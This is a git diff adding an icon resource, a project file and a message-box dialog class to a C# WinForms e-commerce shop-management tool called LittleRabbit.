+IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJD.csproj b/TEMUKJD/KJD.csproj new file mode 100644 index 0000000..f519fa5 --- /dev/null +++ b/TEMUKJD/KJD.csproj @@ -0,0 +1,1177 @@ + + + + + + + + + + Debug + AnyCPU + {7A28B19F-BD0C-45DF-AC1A-78064631745A} + WinExe + Properties + LittleRabbit + LittleRabbit + v4.5.2 + 512 + true + + + + + AnyCPU + true + full + false + ..\bin\ + DEBUG;TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + ..\bin\ + TRACE + prompt + 4 + false + true + + + qk.ico + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + prompt + MinimumRecommendedRules.ruleset + true + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + prompt + MinimumRecommendedRules.ruleset + true + + + true + ..\bin\ + DEBUG;TRACE + full + x86 + prompt + MinimumRecommendedRules.ruleset + true + true + + + ..\bin\ + TRACE + true + pdbonly + x86 + prompt + MinimumRecommendedRules.ruleset + true + + + LocalIntranet + + + false + + + Properties\app.manifest + + + + ..\packages\AdvancedStringBuilder.0.1.0\lib\net45\AdvancedStringBuilder.dll + + + False + ..\DllReference\DevComponents.DotNetBar2.dll + + + ..\packages\JavaScriptEngineSwitcher.Core.3.0.0\lib\net45\JavaScriptEngineSwitcher.Core.dll + + + ..\packages\JavaScriptEngineSwitcher.V8.3.0.5\lib\net45\JavaScriptEngineSwitcher.V8.dll + + + ..\DllReference\NaiBa.CefHelper.dll + + + ..\DllReference\NaiBa.Util.dll + + + False + ..\DllReference\NaiBa.Util.Winform.dll + + + ..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll + + + C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5.2\System.dll + + + + + False + ..\DllReference\System.Data.SQLite.DLL + + + + + + + + + + + + + + + False + ..\DllReference\websocket-sharp.dll + + + + + + Form + + + ChangeForm.cs + + + Form + + + ChatForm.cs + + + + Form + + + ChatMessageForm.cs + + + + + Form + + + DashBoardForm.cs + + + + + + Form + + + InitForm.cs + + + Form + + + BaseMsgForm.cs + + + Form + + + LRBaseForm.cs + + + Form + + + CaiNiXiHuanCollectForm.cs + + + Form + + + FriendShopCollectForm.cs + + + Form + + + HaoWuCollectForm.cs + + + Form + + + CollectForm.cs + + + Form + + + KeywordCollectForm.cs + + + Form + + + ShopProductCollectForm.cs + + + Form + + + OrderForm.cs + + + Form + + + FullMinusActiveForm.cs + + + Form + + + FullMinusForm.cs + + + Form + + + FullMinusShopForm.cs + + + Form + + + GroupBuyMonitorForm.cs + + + Form + + + LimitedSalesActivityNameForm.cs + + + Form + + + GroupBuyCustomActivityNameForm.cs + + + Form + + + GroupBuyForm.cs + + + Form + + + GroupBuyShopForm.cs + + + Form + + + LimitedSalesManagerActiveForm.cs + + + UserControl + + + UcCouponAddParam.cs + + + Form + + + CouponForm.cs + + + Form + + + CouponMulitAddForm.cs + + + Form + + + CouponShopForm.cs + + + Form + + + DouProductPromotionListSkuInfoEditForm.cs + + + Form + + + DouProductProPromotionListSkuInfoForm.cs + + + Form + + + SeckillingAndLimitedSalesForm.cs + + + Form + + + SalesCenterForm.cs + + + Form + + + SeckillingAndLimitedSalesShopForm.cs + + + Form + + + FreightTemplateForm.cs + + + Form + + + FreightTemplateListForm.cs + + + Form + + + FreightTemplateNameForm.cs + + + Form + + + FreightTemplateNotSendAreaForm.cs + + + Form + + + MaterialManageForm.cs + + + Form + + + ShopAddEditForm.cs + + + Form + + + ShopAuthForm.cs + + + Form + + + ShopLoginForm.cs + + + Form + + + FreightTemplateAddForm.cs + + + Form + + + SubAccountListForm.cs + + + Form + + + SubAccountShopEditForm.cs + + + UserControl + + + UcSubAccount.cs + + + Form + + + ClearNoVisitorForm.cs + + + Form + + + ClearNoVisitorShopForm.cs + + + Form + + + OptimizeForm.cs + + + Form + + + SystemRemoveRestrictionsForm.cs + + + Form + + + CefForm.cs + + + Form + + + ChangeIPForm.cs + + + Form + + + CollectVerifyForm.cs + + + Form + + + DouUserLoginForm.cs + + + Form + + + KeywordsCatchFrom.cs + + + Form + + + MeituMessageDialog.cs + + + Form + + + PinDuoDuoCaptchaForm.cs + + + Form + + + PinDuoDuoLoginForm.cs + + + Form + + + ProxyForm.cs + + + Form + + + TextForm.cs + + + Form + + + TokenNewForm.cs + + + Form + + + CatForm.cs + + + Form + + + CleanDataForm.cs + + + Form + + + CommissionForm.cs + + + Form + + + FilterForm.cs + + + Form + + + Fission.cs + + + Form + + + FissionDataBaseForm.cs + + + Form + + + FissionShowBigImgForm.cs + + + UserControl + + + UcCategoryProp.cs + + + Form + + + GetUpProductForm.cs + + + Form + + + IeForm.cs + + + + Form + + + UploadProductErrorForm.cs + + + Form + + + UploadProductViolateSelectForm.cs + + + Form + + + ViolateManageForm.cs + + + UserControl + + + UcQualifiaction.cs + + + Form + + + SpecialDelaySendForm.cs + + + Form + + + StockSyncForm.cs + + + Form + + + TbSettleSlideForm.cs + + + Form + + + UploadForm.cs + + + Form + + + Form + + + UploadProductForm.cs + + + Form + + + SystemForm.cs + + + Form + + + IeForm.cs + + + Form + + + ShopForm.cs + + + Form + + + ShopListForm.cs + + + Form + + + ShopProductForm.cs + + + Form + + + MainForm.cs + + + + + True + True + Resources.resx + + + + Form + + + TaobaoLoginForm.cs + + + Component + + + Component + + + Component + + + Component + + + Component + + + UcGroupBoxEx.cs + + + Component + + + UcTabControl.cs + + + Component + + + UcTabControlMetro.cs + + + Component + + + UcTreeView.cs + + + Component + + + + UserControl + + + StatusBarUserControl.cs + + + Form + + + SupportQrCodeForm.cs + + + Form + + + LoginForm.cs + + + Form + + + RegeditForm.cs + + + Form + + + ResetPasswordForm.cs + + + ChangeForm.cs + + + ChatForm.cs + + + ChatMessageForm.cs + + + DashBoardForm.cs + + + InitForm.cs + + + BaseMsgForm.cs + + + LRBaseForm.cs + + + CaiNiXiHuanCollectForm.cs + + + FriendShopCollectForm.cs + + + HaoWuCollectForm.cs + + + CollectForm.cs + + + KeywordCollectForm.cs + + + ShopProductCollectForm.cs + + + OrderForm.cs + + + FullMinusActiveForm.cs + + + FullMinusForm.cs + + + FullMinusShopForm.cs + + + GroupBuyMonitorForm.cs + + + LimitedSalesActivityNameForm.cs + + + GroupBuyCustomActivityNameForm.cs + + + GroupBuyForm.cs + + + GroupBuyShopForm.cs + + + LimitedSalesManagerActiveForm.cs + + + UcCouponAddParam.cs + + + CouponForm.cs + + + CouponMulitAddForm.cs + + + CouponShopForm.cs + + + DouProductPromotionListSkuInfoEditForm.cs + + + DouProductProPromotionListSkuInfoForm.cs + + + SalesCenterForm.cs + + + SeckillingAndLimitedSalesForm.cs + + + SeckillingAndLimitedSalesShopForm.cs + + + FreightTemplateForm.cs + Designer + + + FreightTemplateListForm.cs + + + FreightTemplateNameForm.cs + + + FreightTemplateNotSendAreaForm.cs + + + MaterialManageForm.cs + + + ShopAddEditForm.cs + + + ShopAuthForm.cs + + + ShopLoginForm.cs + + + FreightTemplateAddForm.cs + + + SubAccountListForm.cs + + + SubAccountShopEditForm.cs + + + UcSubAccount.cs + + + ClearNoVisitorForm.cs + + + ClearNoVisitorShopForm.cs + + + OptimizeForm.cs + + + SystemRemoveRestrictionsForm.cs + + + CefForm.cs + + + ChangeIPForm.cs + + + CollectVerifyForm.cs + + + DouUserLoginForm.cs + + + KeywordsCatchFrom.cs + + + MeituMessageDialog.cs + + + PinDuoDuoCaptchaForm.cs + + + PinDuoDuoLoginForm.cs + + + ProxyForm.cs + + + TextForm.cs + + + TokenNewForm.cs + + + CatForm.cs + + + CleanDataForm.cs + + + CommissionForm.cs + + + FilterForm.cs + + + Fission.cs + + + FissionDataBaseForm.cs + + + FissionShowBigImgForm.cs + + + UcCategoryProp.cs + + + GetUpProductForm.cs + + + IeForm.cs + + + UploadProductErrorForm.cs + + + UploadProductViolateSelectForm.cs + + + ViolateManageForm.cs + + + UcQualifiaction.cs + + + SpecialDelaySendForm.cs + + + StockSyncForm.cs + + + TbSettleSlideForm.cs + + + UploadForm.cs + + + UploadProductForm.cs + + + SystemForm.cs + + + IeForm.cs + + + ShopForm.cs + + + ShopListForm.cs + + + ShopProductForm.cs + + + MainForm.cs + + + ResXFileCodeGenerator + Designer + Resources.Designer.cs + + + TaobaoLoginForm.cs + + + StatusBarUserControl.cs + + + SupportQrCodeForm.cs + + + LoginForm.cs + + + RegeditForm.cs + + + ResetPasswordForm.cs + + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + + + + + + + + + {6461d807-b1c8-45f0-b388-e0ca1a418de0} + AllBase + + + {38e74d4c-2d8d-47d2-8a23-417c3c57ade5} + Work + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + + + + + + \ No newline at end of file diff --git a/TEMUKJD/KJD.csproj.user b/TEMUKJD/KJD.csproj.user new file mode 100644 index 0000000..0b24643 --- /dev/null +++ b/TEMUKJD/KJD.csproj.user @@ -0,0 +1,6 @@ + + + + ProjectFiles + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.cs b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.cs new file mode 100644 index 0000000..7dec47a --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.cs @@ -0,0 +1,91 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.BaseForms +{ + public partial class BaseMsgForm : LRBaseForm + { + public BaseMsgForm() + { + InitializeComponent(); + + this.ShowMinimizedBox = false; + this.AcceptButton = pnlConfirm; + } + + public static BaseMsgForm ShowInfo(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::LittleRabbit.Properties.Resources.BaseMsgInfo; + msgBox.ShowDialog(); + return msgBox; + } + + private static BaseMsgForm CreateMsgForm(string msg, FormLevel fl, string title) + { + BaseMsgForm msgBox = new BaseMsgForm { Text = title, lblMsg = { Text = msg }, TitleText = title }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + msgBox.Height = 280; + } + msgBox.pnlConfirm.Location = msgBox.pnlCancel.Location; // 把确认按钮移到取消按钮上面 + msgBox.pnlCancel.Visible = false; + return msgBox; + } + + public static BaseMsgForm ShowError(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统错误" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::LittleRabbit.Properties.Resources.BaseMsgErr; + msgBox.ShowDialog(); + return msgBox; + } + + public static BaseMsgForm ShowConfirm(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM, bool isTopMost = false) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示确认" : caption; + BaseMsgForm msgBox = new BaseMsgForm + { + Text = title, + lblMsg = { Text = msg }, + TitleText = title, + picTip = { Image = global::LittleRabbit.Properties.Resources.BaseMsgQue }, + TopMost = isTopMost + }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + } + msgBox.ShowDialog(); + return msgBox; + } + + private void PnlConfirm_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.OK; + } + + private void PnlCancel_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.Cancel; + } + } + + public enum FormLevel + { + SMALL, + MEDIUM, + LARGE = 500 + } +} diff --git a/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.designer.cs b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.designer.cs new file mode 100644 index 0000000..8d9e156 --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.designer.cs @@ -0,0 +1,143 @@ +namespace LittleRabbit.LittleRabbitForms.BaseForms +{ + partial class BaseMsgForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.pnlCancel = new DevComponents.DotNetBar.PanelEx(); + this.pnlConfirm = new DevComponents.DotNetBar.PanelEx(); + this.picTip = new System.Windows.Forms.PictureBox(); + this.lblMsg = new System.Windows.Forms.Label(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.pnlCancel); + this.panel2.Controls.Add(this.pnlConfirm); + this.panel2.Controls.Add(this.picTip); + this.panel2.Controls.Add(this.lblMsg); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(386, 183); + this.panel2.TabIndex = 1; + // + // pnlCancel + // + this.pnlCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlCancel.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCancel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlCancel.Location = new System.Drawing.Point(284, 132); + this.pnlCancel.Name = "pnlCancel"; + this.pnlCancel.Size = new System.Drawing.Size(80, 30); + this.pnlCancel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlCancel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlCancel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Custom; + this.pnlCancel.Style.ForeColor.Color = System.Drawing.Color.Black; + this.pnlCancel.Style.GradientAngle = 90; + this.pnlCancel.TabIndex = 27; + this.pnlCancel.Text = "取 消"; + this.pnlCancel.Click += new System.EventHandler(this.PnlCancel_Click); + // + // pnlConfirm + // + this.pnlConfirm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlConfirm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlConfirm.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlConfirm.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlConfirm.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlConfirm.Location = new System.Drawing.Point(167, 132); + this.pnlConfirm.Name = "pnlConfirm"; + this.pnlConfirm.Size = new System.Drawing.Size(80, 30); + this.pnlConfirm.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlConfirm.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlConfirm.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlConfirm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlConfirm.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.pnlConfirm.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlConfirm.Style.ForeColor.Color = 